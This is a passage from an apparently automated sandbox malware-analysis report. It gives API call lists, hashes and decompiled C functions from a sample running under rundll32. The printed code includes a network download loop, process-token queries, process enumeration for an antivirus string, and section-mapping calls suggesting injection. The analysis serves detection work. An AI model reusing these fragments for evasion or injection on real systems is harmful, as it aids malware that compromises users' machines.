                                            0x04ab137d
                                            0x04ab138c
                                            0x04ab1390
                                            0x04ab139b
                                            0x04ab13a2
                                            0x04ab13a9
                                            0x04ab13a9
                                            0x04ab13b5
                                            0x04ab13b5
                                            0x04ab1390
                                            0x04ab13c0
                                            0x04ab13c2
                                            0x04ab13c5
                                            0x04ab13c7
                                            0x04ab13ca
                                            0x04ab13cd
                                            0x04ab13d7
                                            0x04ab13db
                                            0x04ab13df

                                            APIs
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 04AB130A
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 04AB1321
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 04AB132E
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB134F
                                            • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04AB1376
                                            • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04AB138A
                                            • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04AB1397
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB13B5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: HeapName$AllocateComputerFreeUser
                                            • String ID: Uv
                                            • API String ID: 3239747167-4002285713
                                            • Opcode ID: b0678d18321c0f2282ffad3c7237ea4ce5c3e09a27256bc7ba26a6e7eaa25b39
                                            • Instruction ID: 6ea2bdad15d19e787a3f096289e0adba1f3c123d4135238ad3d645c69578e3b6
                                            • Opcode Fuzzy Hash: b0678d18321c0f2282ffad3c7237ea4ce5c3e09a27256bc7ba26a6e7eaa25b39
                                            • Instruction Fuzzy Hash: 723119B1A00305EFE710DFA9CD80AAEB7FDFB54240F504069E585D6222EB34EE419B90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4CC6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 112filenetworkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 419 4ab4cc6-4ab4cf3 ResetEvent InternetReadFile 420 4ab4cf5-4ab4d03 419->420 421 4ab4d24-4ab4d29 419->421 427 4ab4d1c-4ab4d1e 420->427 428 4ab4d05-4ab4d13 call 4ab3a6f 420->428 422 4ab4d2f-4ab4d3e 421->422 423 4ab4dec 421->423 429 4ab4de7-4ab4dea 422->429 430 4ab4d44-4ab4d53 call 4ab4df6 422->430 425 4ab4def-4ab4df5 423->425 427->421 427->425 428->425 435 4ab4d19 428->435 429->425 436 4ab4dd9-4ab4ddb 430->436 437 4ab4d59-4ab4d61 430->437 435->427 439 4ab4ddc-4ab4de5 436->439 438 4ab4d62-4ab4d87 ResetEvent InternetReadFile 437->438 442 4ab4d89-4ab4d97 438->442 443 4ab4db0-4ab4db5 438->443 439->425 444 4ab4dc0-4ab4dca call 4ab4c73 442->444 449 4ab4d99-4ab4da7 call 4ab3a6f 442->449 443->444 445 4ab4db7-4ab4dbe 443->445 444->439 450 4ab4dcc-4ab4dd0 call 4ab56ec 444->450 445->438 449->444 455 4ab4da9-4ab4dae 449->455 454 4ab4dd5-4ab4dd7 450->454 454->439 455->443 455->444
                                            C-Code - Quality: 70%
                                            			E04AB4CC6(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void _v20;
				void* __esi;
				void* _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				int _t43;
				long _t45;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				if(InternetReadFile( *(_t59 + 0x18),  &_v20, 4,  &_v8) != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x4aba174(0, 1,  &_v12); // executed
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E04AB4DF6(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_t43 = InternetReadFile( *(_t59 + 0x18), _v16, 0x1000,  &_v8); // executed
						if(_t43 != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E04AB4C73(_v16);
							if(_t58 == 0) {
								_t45 = E04AB56EC(_v12, _t59); // executed
								_t58 = _t45;
							}
							goto L18;
						}
						_t58 = E04AB3A6F( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E04AB3A6F( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}
















                                            0x04ab4cc6
                                            0x04ab4cd5
                                            0x04ab4cda
                                            0x04ab4cdc
                                            0x04ab4cf3
                                            0x04ab4d24
                                            0x04ab4d29
                                            0x04ab4dec
                                            0x04ab4def
                                            0x04ab4df5
                                            0x04ab4df5
                                            0x04ab4d36
                                            0x04ab4d3e
                                            0x04ab4de9
                                            0x00000000
                                            0x04ab4de9
                                            0x04ab4d49
                                            0x04ab4d4e
                                            0x04ab4d53
                                            0x04ab4ddb
                                            0x04ab4ddc
                                            0x04ab4ddc
                                            0x04ab4de2
                                            0x00000000
                                            0x04ab4de2
                                            0x04ab4d59
                                            0x04ab4d5b
                                            0x04ab4d61
                                            0x04ab4d62
                                            0x04ab4d62
                                            0x04ab4d65
                                            0x04ab4d68
                                            0x04ab4d6e
                                            0x04ab4d7f
                                            0x04ab4d87
                                            0x00000000
                                            0x00000000
                                            0x04ab4d8f
                                            0x04ab4d97
                                            0x04ab4dc0
                                            0x04ab4dc3
                                            0x04ab4dca
                                            0x04ab4dd0
                                            0x04ab4dd5
                                            0x04ab4dd5
                                            0x00000000
                                            0x04ab4dca
                                            0x04ab4da3
                                            0x04ab4da7
                                            0x00000000
                                            0x00000000
                                            0x04ab4da9
                                            0x04ab4dae
                                            0x00000000
                                            0x00000000
                                            0x04ab4db0
                                            0x04ab4db0
                                            0x04ab4db5
                                            0x00000000
                                            0x00000000
                                            0x04ab4db7
                                            0x04ab4db8
                                            0x04ab4dbb
                                            0x04ab4dbb
                                            0x04ab4d62
                                            0x04ab4cfb
                                            0x04ab4d03
                                            0x04ab4d1c
                                            0x04ab4d1e
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab4d1e
                                            0x04ab4d0f
                                            0x04ab4d13
                                            0x00000000
                                            0x00000000
                                            0x04ab4d19
                                            0x00000000

                                            APIs
                                            • ResetEvent.KERNEL32(?), ref: 04AB4CDC
                                            • InternetReadFile.WININET(?,?,00000004,?), ref: 04AB4CEB
                                            • GetLastError.KERNEL32 ref: 04AB4CF5
                                              • Part of subcall function 04AB3A6F: WaitForMultipleObjects.KERNEL32(00000002,04AB7B35,00000000,04AB7B35,?,?,?,04AB7B35,0000EA60), ref: 04AB3A8A
                                            • ResetEvent.KERNEL32(?), ref: 04AB4D6E
                                            • InternetReadFile.WININET(?,?,00001000,?), ref: 04AB4D7F
                                            • GetLastError.KERNEL32 ref: 04AB4D89
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ErrorEventFileInternetLastReadReset$MultipleObjectsWait
                                            • String ID: @MvNv
                                            • API String ID: 3290165071-19517777
                                            • Opcode ID: d1d38562ec314cf4646680fd3aab41eb041a8856d4846066e5201e4ef8e29bbf
                                            • Instruction ID: 00af20ee10a623ddec38cada634c73157055f0a249dc175fd142e52ca4315068
                                            • Opcode Fuzzy Hash: d1d38562ec314cf4646680fd3aab41eb041a8856d4846066e5201e4ef8e29bbf
                                            • Instruction Fuzzy Hash: C331A036A00604BFDF229FA5DC44AEEB7BDEF88760F140528E595D7193EA30F9019B90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDBE55 Relevance: 10.6, APIs: 7, Instructions: 113stringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 518 5ddbe55-5ddbe67 519 5ddbe69-5ddbe6f 518->519 520 5ddbe71 518->520 521 5ddbe77-5ddbe8b call 5dd13c3 519->521 520->521 524 5ddbe8d-5ddbe9b StrRChrA 521->524 525 5ddbec7-5ddbef1 call 5df12f1 521->525 527 5ddbe9d-5ddbe9e 524->527 528 5ddbea0 524->528 532 5ddbf0f-5ddbf17 525->532 533 5ddbef3-5ddbef7 525->533 530 5ddbea6-5ddbec1 _strupr lstrlen call 5de1c16 527->530 528->530 530->525 536 5ddbf1e-5ddbf3c CreateEventA 532->536 537 5ddbf19-5ddbf1c 532->537 533->532 535 5ddbef9-5ddbf04 533->535 535->532 538 5ddbf06-5ddbf0d 535->538 540 5ddbf3e-5ddbf45 call 5de37c5 536->540 541 5ddbf70-5ddbf76 GetLastError 536->541 539 5ddbf7c-5ddbf83 537->539 538->532 538->538 543 5ddbf85-5ddbf8c RtlRemoveVectoredExceptionHandler 539->543 544 5ddbf92-5ddbf97 539->544 540->541 547 5ddbf47-5ddbf4e 540->547 542 5ddbf78-5ddbf7a 541->542 542->539 542->544 543->544 548 5ddbf61-5ddbf64 call 5de312e 547->548 549 5ddbf50-5ddbf5c RtlAddVectoredExceptionHandler 547->549 551 5ddbf69-5ddbf6e 548->551 549->548 551->541 551->542
                                            APIs
                                            • StrRChrA.SHLWAPI(0637B5B0,00000000,0000005C,?,?,?), ref: 05DDBE91
                                            • _strupr.NTDLL ref: 05DDBEA7
                                            • lstrlen.KERNEL32(0637B5B0,?,?), ref: 05DDBEAF
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?), ref: 05DDBF2F
                                            • RtlAddVectoredExceptionHandler.NTDLL(00000000,05DE96E0), ref: 05DDBF56
                                            • GetLastError.KERNEL32(?,?,?,?), ref: 05DDBF70
                                            • RtlRemoveVectoredExceptionHandler.NTDLL(05BF05B8), ref: 05DDBF86
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExceptionHandlerVectored$CreateErrorEventLastRemove_struprlstrlen
                                            • String ID:
                                            • API String ID: 2251957091-0
                                            • Opcode ID: cec1fff16bcfdd7ae516d4e2644de324ce16cbb4224a4686920a725b554dbd69
                                            • Instruction ID: c0803c334fc9250cd5b30b894643bacf926595ab976af258a267b448634b7d4c
                                            • Opcode Fuzzy Hash: cec1fff16bcfdd7ae516d4e2644de324ce16cbb4224a4686920a725b554dbd69
                                            • Instruction Fuzzy Hash: 5F31B572E151519FEB10AFBC9C9EA6EFFA5E704214B06447BF542D3340DA3198818F70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF12F1 Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtOpenProcess.NTDLL(?,00000400,?,?), ref: 05DF1338
                                            • NtOpenProcessToken.NTDLL(?,00000008,?), ref: 05DF134B
                                            • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,?), ref: 05DF1367
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • NtQueryInformationToken.NTDLL(?,00000001,00000000,?,?), ref: 05DF1384
                                            • memcpy.NTDLL(?,00000000,0000001C), ref: 05DF1391
                                            • NtClose.NTDLL(?), ref: 05DF13A3
                                            • NtClose.NTDLL(?), ref: 05DF13AD
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                                            • String ID:
                                            • API String ID: 2575439697-0
                                            • Opcode ID: 96e77b193025fef8bcfb4936c5556de400029193a118a7cb80e1bb308fddeac1
                                            • Instruction ID: 7137a539761b114b0aea44278b3cdaa63bdf4f031e22d199c71891a1557e440f
                                            • Opcode Fuzzy Hash: 96e77b193025fef8bcfb4936c5556de400029193a118a7cb80e1bb308fddeac1
                                            • Instruction Fuzzy Hash: 0721FA72A10218FBDF01AF95CC459DEBFBDEF08740F104126FA05EA220D7719A45DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB4695 Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 38%
                                            			E04AB4695(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04AB4DF6(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04AB4C73(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                                            0x04ab46a2
                                            0x04ab46a3
                                            0x04ab46a4
                                            0x04ab46a5
                                            0x04ab46a6
                                            0x04ab46aa
                                            0x04ab46b1
                                            0x04ab46c0
                                            0x04ab46c3
                                            0x04ab46c6
                                            0x04ab46cd
                                            0x04ab46d0
                                            0x04ab46d3
                                            0x04ab46d6
                                            0x04ab46d9
                                            0x04ab46e4
                                            0x04ab46e6
                                            0x04ab46ef
                                            0x04ab46f7
                                            0x04ab46f9
                                            0x04ab470b
                                            0x04ab4715
                                            0x04ab4719
                                            0x04ab4728
                                            0x04ab472c
                                            0x04ab4735
                                            0x04ab473d
                                            0x04ab473d
                                            0x04ab473f
                                            0x04ab473f
                                            0x04ab4747
                                            0x04ab474d
                                            0x04ab4751
                                            0x04ab4751
                                            0x04ab475c

                                            APIs
                                            • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04AB46DC
                                            • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04AB46EF
                                            • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04AB470B
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04AB4728
                                            • memcpy.NTDLL(?,00000000,0000001C), ref: 04AB4735
                                            • NtClose.NTDLL(?), ref: 04AB4747
                                            • NtClose.NTDLL(00000000), ref: 04AB4751
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                                            • String ID:
                                            • API String ID: 2575439697-0
                                            • Opcode ID: 45ee1b99938db6132ae749a6d0c159e405eddbdb289ee3c628ae1ebd74e454a8
                                            • Instruction ID: bfb14a1384c3bf04c1081603cd7fa708e1709a4cb1d7b2700e3bdd9ae82967e0
                                            • Opcode Fuzzy Hash: 45ee1b99938db6132ae749a6d0c159e405eddbdb289ee3c628ae1ebd74e454a8
                                            • Instruction Fuzzy Hash: B22116B2900628BBEB019F94DD85ADEBFBDEF08740F104026FA01A6122D7719A45DBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDCF88 Relevance: 9.2, APIs: 6, Instructions: 238nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memcpy.NTDLL(?,?,00000004,?,?,05DEA412,05DEA412,05DEA412,?,?,?,00000000,00000000), ref: 05DDD101
                                              • Part of subcall function 05DDA5C0: GetModuleHandleA.KERNEL32(?,?,?,05DDD1BF,?,?,00000000,00000000), ref: 05DDA5FE
                                              • Part of subcall function 05DDA5C0: memcpy.NTDLL(?,05DF932C,00000018,?,?,?), ref: 05DDA67A
                                            • memcpy.NTDLL(?,?,00000018,?,?,05DEA412,05DEA412,05DEA412,?,?,?,00000000,00000000), ref: 05DDD14F
                                            • memcpy.NTDLL(?,05DD3BC6,00000800,?,?,00000000,00000000), ref: 05DDD1D2
                                            • NtUnmapViewOfSection.NTDLL(000000FF,00000000,00000000,00000000), ref: 05DDD210
                                            • NtClose.NTDLL(00000000,00000000,00000000), ref: 05DDD237
                                              • Part of subcall function 05DE46C8: GetModuleHandleA.KERNEL32(?,00000020,?,00008664,00001003,?,?,?,05DDD0A2,?,?,?,00000000,00000000), ref: 05DE46ED
                                              • Part of subcall function 05DE46C8: GetProcAddress.KERNEL32(00000000,?), ref: 05DE470F
                                              • Part of subcall function 05DE46C8: GetProcAddress.KERNEL32(00000000,?), ref: 05DE4725
                                              • Part of subcall function 05DE46C8: GetProcAddress.KERNEL32(00000000,?), ref: 05DE473B
                                              • Part of subcall function 05DE46C8: GetProcAddress.KERNEL32(00000000,?), ref: 05DE4751
                                              • Part of subcall function 05DE46C8: GetProcAddress.KERNEL32(00000000,?), ref: 05DE4767
                                              • Part of subcall function 05DD94A5: NtMapViewOfSection.NTDLL(00000000,000000FF,05DDDE51,00000000,00000000,05DDDE51,00000000,00000002,00000000,?,?,00000000,05DDDE51,000000FF,00000000), ref: 05DD94D3
                                              • Part of subcall function 05DDC000: memcpy.NTDLL(?,?,00000000,?,?,00001003,05DEA412,05DEA412,?,?,?,00000000,00000000), ref: 05DDC074
                                              • Part of subcall function 05DDC000: memcpy.NTDLL(00000000,?,?), ref: 05DDC0DB
                                            • memset.NTDLL ref: 05DDD252
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memcpy$AddressProc$HandleModuleSectionView$CloseUnmapmemset
                                            • String ID:
                                            • API String ID: 3674896251-0
                                            • Opcode ID: e53b07e8b22d3e7f43d078fffb2d94825a27c0ba214eb2f76d30abf947acc7b9
                                            • Instruction ID: f592b29bd1474e1e15a1eee11d345915644c15fcc867541dd11c3bd974e0eca5
                                            • Opcode Fuzzy Hash: e53b07e8b22d3e7f43d078fffb2d94825a27c0ba214eb2f76d30abf947acc7b9
                                            • Instruction Fuzzy Hash: A6A13F71A0160AEFDF11EF98C884BAEFBB6FF04304F14456AE811A7250D771EA55DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5CA1 Relevance: 9.1, APIs: 6, Instructions: 94threadmemorynativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DE5CCC
                                            • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 05DE5CD9
                                            • NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 05DE5D65
                                            • GetModuleHandleA.KERNEL32(00000000), ref: 05DE5D70
                                            • RtlImageNtHeader.NTDLL(00000000), ref: 05DE5D79
                                            • RtlExitUserThread.NTDLL(00000000), ref: 05DE5D8E
                                              • Part of subcall function 05DE199F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,05DE5D07,?), ref: 05DE19A7
                                              • Part of subcall function 05DE199F: GetVersion.KERNEL32 ref: 05DE19B6
                                              • Part of subcall function 05DE199F: GetCurrentProcessId.KERNEL32 ref: 05DE19D2
                                              • Part of subcall function 05DE199F: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 05DE19EF
                                              • Part of subcall function 05DD685A: memcpy.NTDLL(00000000,?,?,?), ref: 05DD68B9
                                              • Part of subcall function 05DD3AEB: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,05DEA192), ref: 05DD3B11
                                              • Part of subcall function 05DD4345: GetModuleHandleA.KERNEL32(?,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD4366
                                              • Part of subcall function 05DD4345: GetProcAddress.KERNEL32(00000000,?), ref: 05DD437F
                                              • Part of subcall function 05DD4345: OpenProcess.KERNEL32(00000400,00000000,69B25F44,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?), ref: 05DD439C
                                              • Part of subcall function 05DD4345: IsWow64Process.KERNEL32(?,00000000,?,69B25F44,69B25F44,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000), ref: 05DD43AD
                                              • Part of subcall function 05DD4345: FindCloseChangeNotification.KERNEL32(?,?,05DE5886,00000000,00000000,69B25F44,00000000,?,?,05DD335A,?,00000000,?), ref: 05DD43C0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$Module$CreateFileHandleOpenThreadTime$AddressChangeCloseCurrentEventExitFindHeaderHeapImageInformationNameNotificationProcQuerySystemUserVersionWow64memcpy
                                            • String ID:
                                            • API String ID: 2581485877-0
                                            • Opcode ID: 9f300de9149f553fc7b66655561015bc0456829bd42c4ad85af48e14d5e7afcb
                                            • Instruction ID: 673ee0dbc3a4b63d40620d507e4e1e78466121d0a31474a2a03ef98fad673ca2
                                            • Opcode Fuzzy Hash: 9f300de9149f553fc7b66655561015bc0456829bd42c4ad85af48e14d5e7afcb
                                            • Instruction Fuzzy Hash: 9C31A771A00114AFCB11EFA8EC89EAE7BB5FB44798B11412BF516EB340DA70C944CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6DB6 Relevance: 7.5, APIs: 5, Instructions: 41processCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB6DB6() {
				char _v264;
				void* _v300;
				void* _t5;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t5 = CreateToolhelp32Snapshot(2, 0); // executed
				_t17 = _t5;
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300); // executed
					while(_t8 != 0) {
						_t9 =  *0x4aba348; // 0xb6d5a8
						_t2 = _t9 + 0x4abbea8; // 0x73617661
						if(StrStrIA( &_v264, _t2) != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						FindCloseChangeNotification(_t17); // executed
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}










                                            0x04ab6dc1
                                            0x04ab6dc6
                                            0x04ab6dcb
                                            0x04ab6dcf
                                            0x04ab6dd9
                                            0x04ab6e0a
                                            0x04ab6de0
                                            0x04ab6de5
                                            0x04ab6dfb
                                            0x04ab6e12
                                            0x04ab6dfd
                                            0x04ab6e05
                                            0x00000000
                                            0x04ab6e05
                                            0x04ab6e13
                                            0x04ab6e14
                                            0x00000000
                                            0x04ab6e14
                                            0x00000000
                                            0x04ab6e0e
                                            0x04ab6e1a
                                            0x04ab6e1f

                                            APIs
                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04AB6DC6
                                            • Process32First.KERNEL32(00000000,?), ref: 04AB6DD9
                                            • StrStrIA.SHLWAPI(?,73617661,00000000,00000000), ref: 04AB6DF3
                                            • Process32Next.KERNEL32(00000000,?), ref: 04AB6E05
                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 04AB6E14
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
                                            • String ID:
                                            • API String ID: 3243318325-0
                                            • Opcode ID: e00aa95b093501103eb4c5b29779d9db8ac7b8e83b175ae922f99b7d00cadb4f
                                            • Instruction ID: a3e4610958da75ae126094a1a32b89446fdf1d1d94f299574a12154225af3abf
                                            • Opcode Fuzzy Hash: e00aa95b093501103eb4c5b29779d9db8ac7b8e83b175ae922f99b7d00cadb4f
                                            • Instruction Fuzzy Hash: 2EF096762011146AEB20AB66DC09EEB366CDB85314F000061ED85D2002EB34E95697E2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDDDDD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71nativeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76EC4EE0,00000000,00000000), ref: 05DDDE3A
                                              • Part of subcall function 05DD94A5: NtMapViewOfSection.NTDLL(00000000,000000FF,05DDDE51,00000000,00000000,05DDDE51,00000000,00000002,00000000,?,?,00000000,05DDDE51,000000FF,00000000), ref: 05DD94D3
                                            • memset.NTDLL ref: 05DDDE5E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Section$CreateViewmemset
                                            • String ID: @
                                            • API String ID: 2533685722-2766056989
                                            • Opcode ID: f947fb31bfdfe2961369438c790e1a574dcfabbf8a651ae8b251e28d28633cf0
                                            • Instruction ID: 2899e80458e6d243c0a90bed1f78e0e6ca4a4fcdda097eba200eb35c39f73389
                                            • Opcode Fuzzy Hash: f947fb31bfdfe2961369438c790e1a574dcfabbf8a651ae8b251e28d28633cf0
